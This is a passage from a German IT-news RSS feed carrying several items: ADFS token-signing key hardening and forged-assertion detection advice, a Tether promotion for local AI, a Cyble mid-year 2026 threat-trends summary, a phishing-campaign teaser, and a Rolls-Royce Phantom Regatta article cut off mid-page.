<p role="presentation"><strong>Federated Identity Monitoring in Entra ID:</strong><span> Entra ID sign-in logs will record an accepted forged assertion as a standard federated sign-in event. Detection requires cross-correlating Entra ID sign-in records against ADFS-side issuance logs—neither source in isolation is sufficient. For privileged accounts, focus on unexpected Internet Protocol (IP) ranges, claim set deviations,and user-agent inconsistencies.</span></p>
</li>
</ul>
<h3><span>Mitigation and Remediation</span></h3>
<p><span>ADFS infrastructure should be treated as Tier 0 identity infrastructure, </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"><span>equivalent in criticality to Domain Controllers</span></a><span>. If SYSTEM access is achieved on an ADFS host, the signing key must be considered compromised.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Hardware-Backed Key Protection:</strong><span> Migrate token-signing certificates to a Hardware Security Module (HSM). HSM-backed keys ensure private key material does not exist in software-accessible storage on the host, eliminating the Machine DPAPI extraction path entirely.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>gMSA Service Identity:</strong><span> </span><span>Run ADFS services using Group Managed Service Accounts to automate credential rotation and reduce operational drift in service identity management. While this does not directly address machine-scoped key protection, it eliminates manual credential management as a contributing factor to configuration drift.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Tier 0 Administrative Controls:</strong><span> Govern ADFS servers with strict Tier 0 controls: restricted administrative access pathways, dedicated Privileged Access Workstations (PAWs), separation from general server administration domains, and enhanced privileged access monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Certificate Rotation and Configuration Validation:</strong><span> If compromise is suspected, rotate the token-signing certificate and validate consistency across ADFS configuration, the </span><span> </span><code>LocalMachine\My</code><span> </span><span>store, and federation metadata. Do not rely on a single source of truth. For environments with AutoCertificateRollover disabled, manual rotation must include updating ADFS via </span><code>Set-AdfsCertificate</code><span>—installing the certificate alone is insufficient. Validate using</span><code> Get-AdfsCertificate</code><span> after rotation. If Event ID 385 appears afterward, investigate for configuration inconsistency. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Multicloud Scope Awareness:</strong><span> A compromised ADFS token-signing key affects all SAML relying party trusts, not just Microsoft services. Organizations using ADFS for identity federation across other software-as-a-service (SaaS) platforms should treat ADFS as Tier 0 infrastructure and audit all relying party trusts. Migrating away from ADFS-based federation (e.g., to native OIDC federation) removes this specific attack path.</span></p>
</li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tether believes intelligence should not be a service people rent]]></title>
<description><![CDATA[The world is advancing toward a future in which over 10 billion humans coexist with trillions of autonomous agents in a superintelligent universe. However, the cloud-hosted systems that currently dominate AI’s operational models lack the architectural elasticity to support this growing demand for...]]></description>
<link>https://tsecurity.de/de/3652244/it-nachrichten/tether-believes-intelligence-should-not-be-a-service-people-rent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652244/it-nachrichten/tether-believes-intelligence-should-not-be-a-service-people-rent/</guid>
<pubDate>Tue, 07 Jul 2026 18:49:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The world is advancing toward a future in which over 10 billion humans coexist with trillions of autonomous agents in a superintelligent universe. However, the cloud-hosted systems that currently dominate AI’s operational models lack the architectural elasticity to support this growing demand for compute resources. Championed by managed GPU Clusters and centralized data centers, cloud AI relies on infrastructure that expands the operational scope of AI, requiring users to literally “rent” intelligence or the tools to develop it.</p>



<p>Tether argues that this system has a weak advantage, similar to scaling a database by simply buying a bigger server. AI scaling, in contrast, amplifies intelligence and availability. Cloud-hosted AI falters in both cases. Infinite scalability and universality in AI are therefore driven by the ability to deploy intelligent systems in any environment using readily available toolsets.</p>



<p>Tether’s AI research and development team believes that this “ability” is inherent in edge-optimized, local AI: self-hosted infrastructure for AI inference, training, and development on user-grade devices. Essentially, local AI converts intelligence into a portable capital asset readily available to the user, rather than a rented utility, as with cloud-hosted AI.</p>



<h2 class="wp-block-heading">Operational constraints for AI developers and businesses.</h2>



<p>Over 4,200 (43% of the <a href="https://www.datacentermap.com/datacenters/" target="_blank" rel="sponsored">world’s</a> data centers) are located in the United States; eight times more than second-placed UK and third-placed Germany, which hosts more than twice as many data centers as all of Africa. This availability bias cuts across several other core infrastructure for AI development and routine use, impacting cost-effectiveness, performance, and data sovereignty.</p>



<p>Furthermore, data centers and other AI infrastructure, swamped with resource demands from unicorns and AI startups, continually adjust rental fees to offset operating costs and generate revenue. By extension, the high capital expenditure (CapEx) required for AI infrastructure is forcing companies to restructure their balance sheets. Major AI companies are expected to spend <a href="https://www.goldmansachs.com/insights/articles/why-ai-companies-may-invest-more-than-500-billion-in-2026" target="_blank" rel="sponsored">$500 billion</a> on capital costs this year, a 30% increase from 2025 records. This is projected to reach $<a href="https://www.investing.com/news/stock-market-news/ai-capex-to-exceed-half-a-trillion-in-2026-ubs-4343520" target="_blank" rel="sponsored">1.3 trillion by 2030</a>, growing at 25% per annum.</p>



<p>Beyond availability and cost-efficacy, reliance on third-party infrastructure introduces additional operational factors and points of failure. Unplanned outages and abrupt changes in usage terms could significantly affect developers and end users.</p>



<p>In contrast, local AI operates autonomously, runs on infrastructure available to everyone, and works on any system. Plainly, they are agnostic, run on-premise, and eliminate barriers to availability.</p>



<h2 class="wp-block-heading">Reputation capital of centralized AI</h2>



<p>In an ideal scenario, anyone should be able to confidently use AI tools without worrying about what happens to their data post-execution. However, third-party access to user data opens channels for data mismanagement, this time, more advanced due to the quality of data unintentionally supplied by users during model training, fine-tuning, and inference.</p>



<p>34% of cybersecurity leaders <a href="https://www.statista.com/chart/35663/main-cybersecurity-concerns-related-to-ai/" target="_blank" rel="sponsored">identified</a> “data leaks through generative AI” as their top concern for 2026, surpassing hacker capabilities for the first time. Elsewhere, the majority of the <a href="https://www.bitsight.com/underground/data-breaches" target="_blank" rel="sponsored">670 data breach</a> incidents reported in the first quarter of 2026 are either directly AI-driven or involve centralized data management infrastructure.</p>



<p>“Third-party” in this context includes AI companies and as-a-service infrastructure providers contracted to serve as a liaison between AI tools and users. Tens of the former are already headed to court in <a href="https://www.mckoolsmith.com/newsroom-ailitigation" target="_blank" rel="sponsored">major class-action lawsuits</a> over the handling of user data.</p>



<p>Local AI positions users as the only control point. User data is stored on-device and managed by software that has zero contact with external systems.</p>



<p>Tether AI’s research and development focuses on advancing machine intelligence as a readily available utility worldwide through technologies that let anyone build or use AI tools anywhere.</p>



<h2 class="wp-block-heading">Universality for superintelligence and agnostic, on-premise AI.</h2>



<p>Tether believes that efficient, self-hosted AI can transform machine intelligence into a new element of the periodic table that powers new possibilities in dynamic systems. This (self-hosted AI) will set in a new paradigm in which superintelligence is a foundational element owned by the user. However, effective agnostic, on-premise AI can only be achieved through creative engineering. This includes modifications from the model level to the complete architecture that accommodate design differences. Tether is leading innovations in pursuit of this. It is also contributing to open-source efforts to localize AI and abstract its complexities. This expands opportunities for even more advancements in local and edge-first AI.</p>



<p>The idea is to decouple AI from the current siloed, controlled, and fragile model. Tether is re-engineering Artificial Intelligence and modifying existing technologies to achieve infinite, scalable intelligence.</p>



<p>The first task here is to build a base infrastructure that operates as a self-governed unit. To this end, Tether developed the <a href="https://pears.com/" target="_blank" rel="sponsored">Pear runtime</a> and co-founded <a href="https://holepunch.to/" target="_blank" rel="sponsored">Holepunch</a>. Pear Runtime and Holepunch employ decentralized resource networks, databases, and communication protocols to achieve a serverless P2P backend for edge applications.</p>



<p>Next, Tether addresses the heavy computational overhead of AI models by developing resource-efficient models and infrastructure that run locally on user-grade devices and across heterogeneous environments. It launched QVAC (QuantumVerse Automatic Computer), an AI research team, and a development framework for local-first and edge-first AI research and development.</p>



<p>This unit has led the development of:</p>



<ul class="wp-block-list">
<li>A fine-tuning framework for Bitnet’s 13-billion-parameter LLM on regular devices, bypassing the GPU limitations of the ternary quantized model</li>



<li><a href="https://qvac.tether.io/dev/fabric/" target="_blank" rel="sponsored">QVAC Fabric LLM</a>: A high-throughput local-first AI framework that transforms regular devices into sovereign compute machines for AI development, model training, and inference.</li>



<li>An Edge-first Parameter-efficient fine-tuning framework for training the QVAC Fabric LLM locally on everyday devices and heterogeneous GPUs</li>
</ul>



<p>Building on the QVAC framework, Tether’s AI coverage has expanded to include tools for deploying intelligence across diverse systems, from personal computers to interfaces for controlling smart homes and appliances. This includes runtime environments, training data, fine-tuning frameworks, and edge-optimized AI applications.</p>



<p>Tether has built a suite of tools that put local AI into practice across every layer of the stack, including:</p>



<ul class="wp-block-list">
<li><a href="https://qvac.tether.io/dev/genesis/" target="_blank" rel="sponsored">QVAC Genesis</a> I &amp; II: Synthetic datasets for training AI models on STEM disciplines.</li>



<li><a href="https://docs.wdk.tether.io/" target="_blank" rel="sponsored">WDK</a>: AI-ready wallet development framework that enables autonomous agents to build local and edge-first cryptocurrency wallets.</li>



<li><a href="https://qvac.tether.io/models/" target="_blank" rel="sponsored">QVAC MedPsy</a>: A range of (1.7B and 4B parameter) local-first medical AI models that run on heterogeneous everyday devices and produce more accurate and precise results than some larger medical AI models.</li>



<li><a href="https://qv.ac/" target="_blank" rel="sponsored">QVAC Workbench</a>: A unique general-purpose AI tool for researching, coding, and execution on edge devices.</li>
</ul>



<p>Developers equipped with these can implement local AI integrations across diverse systems through a serverless backend, models that can run on resource-limited systems, and UI modules that simplify usage. This is further reinforced by the <a href="https://qvac.tether.io/dev/sdk/" target="_blank" rel="sponsored">QVAC SDK</a>, which consolidates all of Tether’s AI-related achievements to date. QVAC SDK is a toolkit of prebuilt modules for components of the QVAC AI infrastructures. It provides usage guides, integration contexts, and functional samples. This enables developers to build intelligent on-premises applications for any system without requiring permissions.</p>



<h2 class="wp-block-heading">Committing to a human-centric future for AI</h2>



<p>Artificial intelligence is arguably the most human-targeted internet-based technology in history. In an AI-dominated future, the current user base will be only a fraction of the demand scale. However, Institutional capital expenditure capacity isn’t unlimited, and the bloat in rental costs has no ceiling.</p>



<p>Tether’s local-first approach to AI acknowledges the relevance of machine intelligence to humans and its deep connection to everyday life. In response, it is dedicated to developing a universally accessible AI that is modular enough to be embedded in the fabric of any device, system, or environment. This ranges from industrial servers to the smallest chip in a light bulb. </p>



<p>In all of these cases, the ‘users’ own their AI, can build on their own terms, without permission or external constraints, choose their own biases, and control how their data is used. Practically, this is the only way to ensure that superintelligence is successfully delivered to the billions of humans it is meant for. </p>



<p><strong>Subscribe to the </strong><a href="https://qvac.tether.io/newsletter/" target="_blank" rel="sponsored"><strong>QVAC newsletter</strong></a><strong> to learn more about Tether’s breakthroughs in AI</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Defender for Office 365 | Protection and Posture Insights Report]]></title>
<description><![CDATA[Author: Microsoft Security - Bewertung: 6x - Views:43 This video demonstrates how to generate and access the Protection & Posture Insights Report in Microsoft Defender for Office 365 from the Microsoft Security portal. It explains the report's key sections, including executive summaries, threat i...]]></description>
<link>https://tsecurity.de/de/3651783/it-security-video/microsoft-defender-for-office-365-protection-and-posture-insights-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651783/it-security-video/microsoft-defender-for-office-365-protection-and-posture-insights-report/</guid>
<pubDate>Tue, 07 Jul 2026 16:05:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Microsoft Security - Bewertung: 6x - Views:43 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/unKIHro3Dwg?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video demonstrates how to generate and access the Protection & Posture Insights Report in Microsoft Defender for Office 365 from the Microsoft Security portal. It explains the report's key sections, including executive summaries, threat intelligence, detection effectiveness, policy coverage, zero-day threats, priority accounts, quarantine statistics, and other security insights that help organizations understand their email security posture. <br />
<br />
Learn how to use the report's actionable recommendations to identify configuration gaps, investigate threats, strengthen protections, and support informed security decision-making.<br />
<br />
Discover more: https://msft.it/6056vaUhY<br />
<br />
#MicrosoftSecurity #DefenderForOffice365 #Reporting<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Invoice to AnyDesk: Uncovering a Phishing Campaign Targeting  Russian Aerospace Organizations  ]]></title>
<description><![CDATA[Table of Contents  Introduction  Infection Chain  Technical Analysis  Conclusion  Seqrite Coverage  Indicators of Compromise (IOCs)  MITRE ATT&CK Mapping   Introduction  The Seqrite Threat Research Team identified a targeted spear-phishing campaign disguised as a legitimate business invoice. The ...]]></description>
<link>https://tsecurity.de/de/3650560/it-security-nachrichten/from-invoice-to-anydesk-uncovering-a-phishing-campaign-targeting-russian-aerospace-organizations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650560/it-security-nachrichten/from-invoice-to-anydesk-uncovering-a-phishing-campaign-targeting-russian-aerospace-organizations/</guid>
<pubDate>Tue, 07 Jul 2026 07:38:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Table of Contents  Introduction  Infection Chain  Technical Analysis  Conclusion  Seqrite Coverage  Indicators of Compromise (IOCs)  MITRE ATT&amp;CK Mapping   Introduction  The Seqrite Threat Research Team identified a targeted spear-phishing campaign disguised as a legitimate business invoice. The phishing email impersonates a legitimate Russian research institute associated with aerospace and aviation systems and is delivered using a spoofed domain […]</p>
<p>The post <a href="https://www.seqrite.com/blog/from-invoice-to-anydesk-uncovering-a-phishing-campaign-targeting-russian-aerospace-organizations/" data-wpel-link="internal" target="_self" rel="follow">From Invoice to AnyDesk: Uncovering a Phishing Campaign Targeting  Russian Aerospace Organizations  </a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mid-Year Threat Trends: What H1 2026 Signals for the Rest of the Year]]></title>
<description><![CDATA[The first half of 2026 has given security teams little room to breathe. Ransomware operators kept up a punishing pace. If that wasn’t enough, access brokers turned network intrusions into a marketplace, and nation-state activity blurred further into hacktivism and organized cybercrime. Taken toge...]]></description>
<link>https://tsecurity.de/de/3648797/it-security-nachrichten/mid-year-threat-trends-what-h1-2026-signals-for-the-rest-of-the-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648797/it-security-nachrichten/mid-year-threat-trends-what-h1-2026-signals-for-the-rest-of-the-year/</guid>
<pubDate>Mon, 06 Jul 2026 15:07:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/07/Threat-Intelligence-Trends-2026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Threat Intelligence Trends 2026" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/07/Threat-Intelligence-Trends-2026.webp 1200w, https://cyble.com/wp-content/uploads/2026/07/Threat-Intelligence-Trends-2026-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/07/Threat-Intelligence-Trends-2026-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/07/Threat-Intelligence-Trends-2026-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Mid-Year Threat Trends: What H1 2026 Signals for the Rest of the Year 1"></p>
<p><!-- wp:paragraph --></p>
<p>The first half of 2026 has given security teams little room to breathe. Ransomware operators kept up a punishing pace. If that wasn’t enough, access brokers turned network intrusions into a marketplace, and nation-state activity blurred further into hacktivism and organized cybercrime. Taken together, the numbers point to a threat landscape that isn't just growing louder; it's becoming faster, more coordinated, and harder to attribute. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble's monthly and quarterly research has tracked this shift in real time, and the pattern across regions is consistent. In short, attackers are scaling operations while defenders are still catching up. These threat intelligence trends 2026 also provide an early look at the top cyber threats 2026 and what organizations should expect during the remainder of the year. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Ransomware Set the Pace for Threat Intelligence Trends in 2026</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Ransomware was one of the biggest threat intelligence trends by far in 2026, in terms of visibility. In just the month of March, a total of 702 ransomware attacks and 54 major data breaches and leaks were registered worldwide. More than 56% of that activity was brought by five groups-Qilin, Akira, The Gentlemen, Dragonforce, and INC Ransom- showing how much consolidation has taken place in the ecosystem. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p> The pattern was consistent across regions. In the <a href="https://cyble.com/resources/research-reports/americas-threat-landscape-report/" target="_blank" rel="noreferrer noopener">Americas</a>, there were 1,305 cyber incidents in Q1 2026, of which 1,138 were publicly claimed ransomware attacks — and, once again, just five groups drove 58% of that volume. The most affected were construction, professional services, manufacturing, healthcare, and government bodies, primarily because downtime in these sectors has immediate operational or public-safety consequences. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Dual-extortion tactics, pairing data theft with system disruption, have become close to standard practice. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Access Brokers Are Quietly Powering the Ecosystem</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The purchase and sale of access to compromised networks is a huge driver behind the ransomware and espionage campaigns. In <a href="https://cyble.com/blog/monthly-threat-landscape-march-2026/" target="_blank" rel="noreferrer noopener">March 2026</a>, 20 distinct incidents of the sale of access were observed on underground forums, and the most commonly listed sectors were professional services (25%) and retail (20%).  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Three of these sellers, vexin, holyduxy, and algoyim, accounted for over 55% of this activity, effectively forming a supply chain for the larger attacks. This is one of the markets upstream that makes response time matter; the access is usually sold and exploited long before a breach is detected publicly. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Identity Has Replaced the Perimeter</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Perhaps the biggest change over the past year has been the shift from malware-first breaches to attacks based on identities. Credential theft, MFA bypass, session hijacking, and third-party access abuses have all become key vectors. Instead of breaking in, attackers are logging in -- and that has some serious implications for the design of monitoring and access controls. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The numbers back this up. In <a href="https://cyble.com/blog/critical-infrastructure-cyberattack-threats-2026/" target="_blank" rel="noreferrer noopener">North America</a>, technology and financial services accounted for 44% of all breach activity in the first half of 2026 — sectors where identity and access sit right at the center of daily operations. Nearly 300 domains were also hit by hacktivist campaigns in the region over that same time, reminding everyone that disruption doesn't always have to come from a super-sophisticated intrusion; sometimes all it takes is one exposed login or an edge system that's gone unpatched. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Geopolitics Is Now a Cyber Multiplier</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>State-sponsored activity has grown more strategic, with actors focused on mapping dependencies and pre-positioning access rather than pursuing immediate disruption. Regional tensions have accelerated this further, with hybrid operations blending cyberattacks, disinformation, and kinetic action in ways that ripple well beyond the immediate conflict zone.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>During the February 2026 escalation in the Middle East, internet connectivity in targeted regions dropped to as low as 1–4% of normal levels, more than 70 hacktivist groups joined the fray, and disruption to navigation systems affected over 1,100 vessels near the Strait of Hormuz. More than 8,000 conflict-themed domains were also registered during this period to run scams, malware, and disinformation campaigns.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Critical infrastructure, energy, water, transportation, and communications have emerged as the common target across nearly every regional threat report published this year, and India's own H1 tally from 2024 (593 attacks, including 388 breaches, 107 leaks, and 39 ransomware incidents) shows the same dynamics playing out closer to home. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>AI Is Reshaping Both Sides of the Fight</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>AI-driven tooling has moved from experimental to operational. An open-source AI-native testing framework was used to compromise more than 600 Fortinet FortiGate appliances across 55 countries, while 26 malicious npm packages linked to North Korean actors distributed RAT malware through Pastebin- and Vercel-based infrastructure. These incidents also reflect broader vulnerability exploitation trends, where exposed security infrastructure is weaponized rapidly after vulnerabilities become known. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This tracks with a broader trend flagged going into the year: AI-driven ransomware activity jumped 50%, and October 2025 alone saw software supply chain attacks spike 32% above the previous record. On the defensive side, organizations are beginning to lean on AI-assisted monitoring to keep pace with attacks that no longer unfold on human timescales. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble Blaze AI accelerates these threat investigations with AI-powered analysis, helping security teams quickly understand, prioritize, and respond to cyber threats.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Turn threat signals into actionable intelligence with Cyble Blaze AI. See how faster investigations and autonomous analysis can transform your SOC. <a href="https://cyble.com/request-demo/" target="_blank" rel="noreferrer noopener"><strong>Request a demo today</strong></a>!</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Conclusion</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The first half of the year highlights a few things about threat intelligence trends that need to be cleared up. First, threat actors are operating with more coordination. Second, less patience, and overlapping motives, financial, political, and strategic. And lastly, organizations that treat cybersecurity as a purely technical function are recalibrating, with boards and executives now directly involved in risk decisions. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Taken together, these developments provide a clear mid-year threat intelligence trends forecast and shape the broader cyber risk outlook for 2026. Security teams should expect attackers to continue scaling operations, exploiting identities, and leveraging AI throughout the remainder of the year. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble's full H1 2026 Threat Landscape Report will bring together this data with deeper sector, regional, and actor-level analysis to help security teams prioritize what actually matters for the second half of the year. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/blog/2026-threat-intelligence-trends/#cbp-form-title" data-type="internal" data-id="#cbp-form-title">Subscribe</a> to get early access to the full H1 2026 report the moment it's released, along with Cyble's ongoing threat intelligence coverage across ransomware, dark web activity, and emerging attack trends.   </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>References:</strong> </h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://cyble.com/blog/monthly-threat-landscape-march-2026/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/monthly-threat-landscape-march-2026/</a> </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://cyble.com/blog/critical-infrastructure-cyberattack-threats-2026/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/critical-infrastructure-cyberattack-threats-2026/</a> </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://cyble.com/blog/hybrid-warfare-2026-cyber-kinetic-threats/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/hybrid-warfare-2026-cyber-kinetic-threats/</a> </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/2026-threat-intelligence-trends/">Mid-Year Threat Trends: What H1 2026 Signals for the Rest of the Year</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Segelboot trifft auf Luxusauto: Rolls-Royce Phantom Regatta]]></title>
<description><![CDATA[Rolls-Royce erweitert weiterhin die Grenzen dessen, was die „Bespoke“-Abteilung der Marke leisten kann. Die neueste Kreation trägt den Namen „Phantom Regatta“ und ist ein einzigartiges Exemplar des Phantom Extended, das für einen Kunden mit einer Leidenschaft für den Segelsport gefertigt wurde.

...]]></description>
<link>https://tsecurity.de/de/3648592/it-nachrichten/segelboot-trifft-auf-luxusauto-rolls-royce-phantom-regatta/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3648592/it-nachrichten/segelboot-trifft-auf-luxusauto-rolls-royce-phantom-regatta/</guid>
<pubDate>Mon, 06 Jul 2026 13:48:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Rolls-Royce erweitert weiterhin die Grenzen dessen, was die „Bespoke“-Abteilung der Marke leisten kann. Die neueste Kreation <a href="https://www.press.rolls-roycemotorcars.com/rolls-royce-motor-cars-pressclub/article/detail/T0459000EN/rolls-royce-presents-phantom-regatta:-a-tribute-to-the-waters-of-the-english-south-coast">trägt</a> den Namen „Phantom Regatta“ und ist ein einzigartiges Exemplar des Phantom Extended, das für einen Kunden mit einer Leidenschaft für den Segelsport gefertigt wurde.</p>



<p>Das gesamte Fahrzeug ist ganz auf das Leben auf See ausgerichtet. Die Karosserie ist in dunklem „Regatta Blue“ über „English White“ lackiert – eine Zweifarbenlackierung, die die Wasserlinie einer klassischen Yacht nachahmen soll. Auch die 22 Zoll großen, polierten Felgen sind von den glänzenden Winden der Segelboote inspiriert.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4b92f2a3b22"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/P90648606_highRes_rolls-royce-presents.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Phantom Regatta" class="wp-image-3184668" width="1200" height="750" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Rolls-Royse</p></div>



<p>Das Thema setzt sich im Innenraum fort. Hier treffen dunkelblaues Leder im vorderen Bereich und weißes Leder auf den Rücksitzen aufeinander, während die ausklappbaren Picknicktische so gestaltet wurden, dass sie das Deck einer Luxusyacht nachbilden. Allein die Arbeit an den Holzeinlagen nahm etwa 120 Stunden in Anspruch.</p>



<p>Über dem Armaturenbrett erstreckt sich ein handgemaltes Kunstwerk, das das Meer vor der englischen Südküste darstellen soll. Am Dach befindet sich zudem eine Sonderausführung des „Starlight Headliner“ von Rolls-Royce mit 1.307 faseroptischen Lichtpunkten, die die Gezeitenströmungen rund um die Isle of Wight nachbilden.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4b92f2a4475"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/P90648615_highRes_rolls-royce-presents.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Phantom Regatta" class="wp-image-3184669" width="1200" height="750" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
